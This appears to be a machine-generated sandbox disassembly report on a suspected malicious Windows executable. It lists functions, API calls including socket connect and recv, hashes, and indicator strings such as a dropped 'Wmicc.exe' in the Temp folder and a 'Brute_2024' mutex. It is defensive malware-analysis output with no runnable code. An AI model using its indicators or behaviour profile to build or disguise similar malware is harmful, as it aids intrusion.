Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Windows\Temp\Wmicc.exe$Global\Brute_2024$WinSta0\Default$Wmicc.exe$explorer.exe
API String ID: 0-2364019995
Opcode ID: 9c09a3e5a8c276ab3521383a16ff299ecf11e9ddf109e296b433ec58e542be96
Instruction ID: 01db956aa9f271eb8eaee90e5434754c2d6ba64d66eee582fa67a831c4771ea6
Opcode Fuzzy Hash: 9c09a3e5a8c276ab3521383a16ff299ecf11e9ddf109e296b433ec58e542be96
Instruction Fuzzy Hash: 0B620AB1A812429BFF10DB95DCC2B9977A1EF18314F280075E906BF381D3B9B951DB26

Function 004B4585 Relevance: 6.1, APIs: 4, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(?,?,?,004B4580), ref: 004B45FC
GetProcessVersion.KERNEL32(00000000,?,?,?,004B4580), ref: 004B4639
LoadCursorA.USER32(00000000,00007F02), ref: 004B4667
LoadCursorA.USER32(00000000,00007F00), ref: 004B4672

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CursorLoadVersion$Process
String ID:
API String ID: 2246821583-0
Opcode ID: ecd1f42355bc1e4795f04030bf36c38b9c2ddcbdfb48abe6266d89fcbccd3ce1
Instruction ID: 3198a6dff02e90d14ae14e20a26c5a5b0d49034d4f2cd0c0219a65bb88bcdc9e
Opcode Fuzzy Hash: ecd1f42355bc1e4795f04030bf36c38b9c2ddcbdfb48abe6266d89fcbccd3ce1
Instruction Fuzzy Hash: C0116AB1A00B109FD7289F3E988456ABBE5FB987047000E3FE28BC6B91D778A440CB54

Function 0047CD20 Relevance: 4.6, APIs: 3, Instructions: 75
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

select.WS2_32(?,00000001,00000000,00000000,?), ref: 0047CDAB
__WSAFDIsSet.WS2_32(?,00000001), ref: 0047CDC5
recv.WS2_32(?,?,?,00000000), ref: 0047CDE1

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: recvselect
String ID:
API String ID: 741273618-0
Opcode ID: 78cb79d259f637e59178a04302ce14e2dd07202fd07539d81608195b7ed0ef21
Instruction ID: 8863bb8cc8ba4491a292f508812fd746d9364ac31e8b1cbe38a341f53fc7ad77
Opcode Fuzzy Hash: 78cb79d259f637e59178a04302ce14e2dd07202fd07539d81608195b7ed0ef21
Instruction Fuzzy Hash: 5A2198711082016BD728CB18DC81BFB77D9AFC5714F44C72EF5A9862D0E77899448B96

Function 004AC216 Relevance: 3.0, APIs: 2, Instructions: 27nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.NTDLL(?,?,?,?), ref: 004AC23D
CallWindowProcA.USER32(?,?,?,?,?), ref: 004AC252

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Window$CallNtdllProcProc_
String ID:
API String ID: 1646280189-0
Opcode ID: f45b76ab9af22db4e75dbe7ded8494244972b224e8a31f7b32d15bfd843cf4ef
Instruction ID: 68d5583c7fbc5dad90c327a2865c783bca12acfcbfec649f6d1354a5b212496b
Opcode Fuzzy Hash: f45b76ab9af22db4e75dbe7ded8494244972b224e8a31f7b32d15bfd843cf4ef
Instruction Fuzzy Hash: DCF0A536500208FFCF629F99DC48E9A7BB9FF19351B048569FA55C6120D736E820EB54

Function 004207C0 Relevance: 3.0, APIs: 2, Instructions: 20fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE ref: 004207D2
FindClose.KERNEL32(00000000), ref: 004207DE

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 396fcb105610605947dc6bbf1f1b582b52114882ad665904b4dc67ef5eeb9c44
Instruction ID: abfaa5643744392861b200c2efa76ebd7631324b29bc4c833053695005eb05b6
Opcode Fuzzy Hash: 396fcb105610605947dc6bbf1f1b582b52114882ad665904b4dc67ef5eeb9c44
Instruction Fuzzy Hash: ABE01A785042419FD329CF24D888AAA77E5BBC9320F944B68E97D873E0D7399815CA52

Function 004385B0 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,?), ref: 004385C0
FindClose.KERNEL32(00000000), ref: 004385CC

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 4ec95047e6b468fb49d047d585b5d7480f303ec9d1e3c02ecefee40e7ff76eee
Instruction ID: a539f1f966db771ac106fd3b47db9bee249a1aaef123d101943dcc9655f5ea8f
Opcode Fuzzy Hash: 4ec95047e6b468fb49d047d585b5d7480f303ec9d1e3c02ecefee40e7ff76eee
Instruction Fuzzy Hash: 41D05E748001016BD7199F74DD886AA3298B748310FC40B68BA2DC12E0EA7ECD188551

Function 004ABA29 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a062545f615d4bbb209e90a364c3d376d9767aaf8728debd259b07df7bbeecef
Instruction ID: 556b3477a8234278ccc12b04d9b8223207d2ecbff4cb53a6db6bfa832f2a5493
Opcode Fuzzy Hash: a062545f615d4bbb209e90a364c3d376d9767aaf8728debd259b07df7bbeecef
Instruction Fuzzy Hash: C2F01236041119FBCF129E919D009DB3B19EF2A360F008416FA1555122C77A9A61DBE9

Function 00401F4F Relevance: .4, Instructions: 419COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03d9c40a323fa2621d2262b2f90986ebe6570b1a21c93d6fdbcaf75a3361bab6
Instruction ID: fd9075757c54617f0da7fdb23ac160981284a9dfccd9a667f999da5b8e0bdedb
Opcode Fuzzy Hash: 03d9c40a323fa2621d2262b2f90986ebe6570b1a21c93d6fdbcaf75a3361bab6
Instruction Fuzzy Hash: 94E13CF1A412429BFF00DF99DCC1B9977A1EF55324F280475E906AB380D3B8B960DB56

Function 004ABA7A Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 004ABA7F
GetPropA.USER32(?,AfxOldWndProc423), ref: 004ABA97
CallWindowProcA.USER32(?,?,00000110,?,00000000), ref: 004ABAF5

Part of subcall function 004AB662: GetWindowRect.USER32(?,?), ref: 004AB687
Part of subcall function 004AB662: GetWindow.USER32(?,00000004), ref: 004AB6A4

SetWindowLongA.USER32(?,000000FC,?), ref: 004ABB25
RemovePropA.USER32(?,AfxOldWndProc423), ref: 004ABB2D
GlobalFindAtomA.KERNEL32(AfxOldWndProc423), ref: 004ABB34
GlobalDeleteAtom.KERNEL32(00000000), ref: 004ABB3B

Part of subcall function 004AB63F: GetWindowRect.USER32(?,?), ref: 004AB64B

CallWindowProcA.USER32(?,?,?,?,00000000), ref: 004ABB8F

Strings

AfxOldWndProc423, xrefs: 004ABA8D, 004ABA95, 004ABB2B, 004ABB33

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Window$AtomCallGlobalProcPropRect$DeleteFindH_prologLongRemove
String ID: AfxOldWndProc423
API String ID: 2397448395-1060338832
Opcode ID: f06931148530ffe8a8af42b607ff0c5c1bcd36ea3017d6a274d6cfec9f1f2afa
Instruction ID: 92c705af54657297e7597c08a94412428037b5009e7554c5dac200cdfe286127
Opcode Fuzzy Hash: f06931148530ffe8a8af42b607ff0c5c1bcd36ea3017d6a274d6cfec9f1f2afa
Instruction Fuzzy Hash: AA314BB280021ABBDF119FA5DD49DBF7BB8EF16310F00012AF601A2152C7399921DBA9

Function 004B3718 Relevance: 15.1, APIs: 10, Instructions: 99
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL(00CF9958), ref: 004B3727
GlobalAlloc.KERNEL32(00002002,00000000,?,?,00CF993C,00CF993C,004B3AB3,00000000,?,004AA565,004B2DFB,?,004208C0), ref: 004B377C
GlobalHandle.KERNEL32(00DD1848), ref: 004B3785
GlobalUnWire.KERNEL32(00000000), ref: 004B378E
GlobalReAlloc.KERNEL32(00000000,00000000,00002002), ref: 004B37A0
GlobalHandle.KERNEL32(00DD1848), ref: 004B37B7
GlobalFix.KERNEL32(00000000), ref: 004B37BE
RtlLeaveCriticalSection.NTDLL(?), ref: 004B37C4
GlobalFix.KERNEL32(004208C0), ref: 004B37D3
RtlLeaveCriticalSection.NTDLL(?), ref: 004B381C

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Global$CriticalSection$AllocHandleLeave$EnterWire
String ID:
API String ID: 1877740037-0
Opcode ID: ac0490e881c2b1bd2de9b7611b612ecd0740610125a79f0195dd82c93116c357
Instruction ID: e1407c46b656a3fa11a0f5b951a3d804864c8555318b4c42931190abe1a3ef27
Opcode Fuzzy Hash: ac0490e881c2b1bd2de9b7611b612ecd0740610125a79f0195dd82c93116c357
Instruction Fuzzy Hash: D03183B5600706AFDB24DF29DC89AAAB7E8FB44305B014E2EF552C3661DB75ED048B24

Function 00433340 Relevance: 13.8, APIs: 9, Instructions: 289
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e6a5ca2f6a8f7bacce628eaa33851c8c8cca8b803b2679cc41fce964caa8611
Instruction ID: cafe8ce7ff1972b33501080ed02be7297bd1a834d697b6421d024403cc539d61
Opcode Fuzzy Hash: 7e6a5ca2f6a8f7bacce628eaa33851c8c8cca8b803b2679cc41fce964caa8611
Instruction Fuzzy Hash: CDB1AD70608700AFD724CF65C885B2BBBE5BBD8305F509A2EF59287390D778E941CB5A

Function 00421CB0 Relevance: 7.7, APIs: 5, Instructions: 158
comregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadTypeLib.OLEAUT32(00000000), ref: 00421D0F

Part of subcall function 00439D90: lstrlen.KERNEL32(00000000,00000000,00430613,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00439D9E

GetUserDefaultLCID.KERNEL32(00000000,?,?,00000001), ref: 00421D4B
LHashValOfNameSys.OLEAUT32(00000001,00000000), ref: 00421D54
RegisterTypeLib.OLEAUT32(?,00000000), ref: 00421DB9
OleRun.OLE32(00000000), ref: 00421E40

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Type$DefaultHashLoadNameRegisterUserlstrlen
String ID:
API String ID: 2906146520-0
Opcode ID: 1f1d4b6aa5e8130bd0f7aead3eb9ef21f4179fd99addbeac88f6e841eb1a502e
Instruction ID: c91f29fbd72d5b1f1a7f57b2e41cc905cbdd3893e82321e9cff099971969135f
Opcode Fuzzy Hash: 1f1d4b6aa5e8130bd0f7aead3eb9ef21f4179fd99addbeac88f6e841eb1a502e
Instruction Fuzzy Hash: 01516A71204342AFD700DF51DC45FABB7E8AF94748F44492DFA4587260E778E909CBA6

Function 0047CFD0 Relevance: 7.5, APIs: 5, Instructions: 40
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 0047CFE4
inet_addr.WS2_32(?), ref: 0047D009
htons.WS2_32(?), ref: 0047D017
connect.WS2_32(00000000,?,00000010), ref: 0047D029
closesocket.WS2_32(00000000), ref: 0047D033

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: closesocketconnecthtonsinet_addrsocket
String ID:
API String ID: 4100322073-0
Opcode ID: 2e21f6d623bf23bacf9d704b3607eee28f0ce5368c97749bfe287128b6d6278a
Instruction ID: 055c52ab3ead865aa561a1dcd82b9334b00dd1eefd6df2e5f850cd0c275c0eb3
Opcode Fuzzy Hash: 2e21f6d623bf23bacf9d704b3607eee28f0ce5368c97749bfe287128b6d6278a
Instruction Fuzzy Hash: 91F081709183116FD700EF39C882BAF7AE4AF84744F408C2FF498E7256F6798404479A

Function 00433220 Relevance: 6.1, APIs: 4, Instructions: 94
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageA.USER32(?,00000080,00000001,?), ref: 004332C8
SendMessageA.USER32(?,00000080,00000000,?), ref: 004332DA
DestroyCursor.USER32(?), ref: 004332ED
DestroyCursor.USER32(?), ref: 004332FA

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CursorDestroyMessageSend
String ID:
API String ID: 3501257726-0
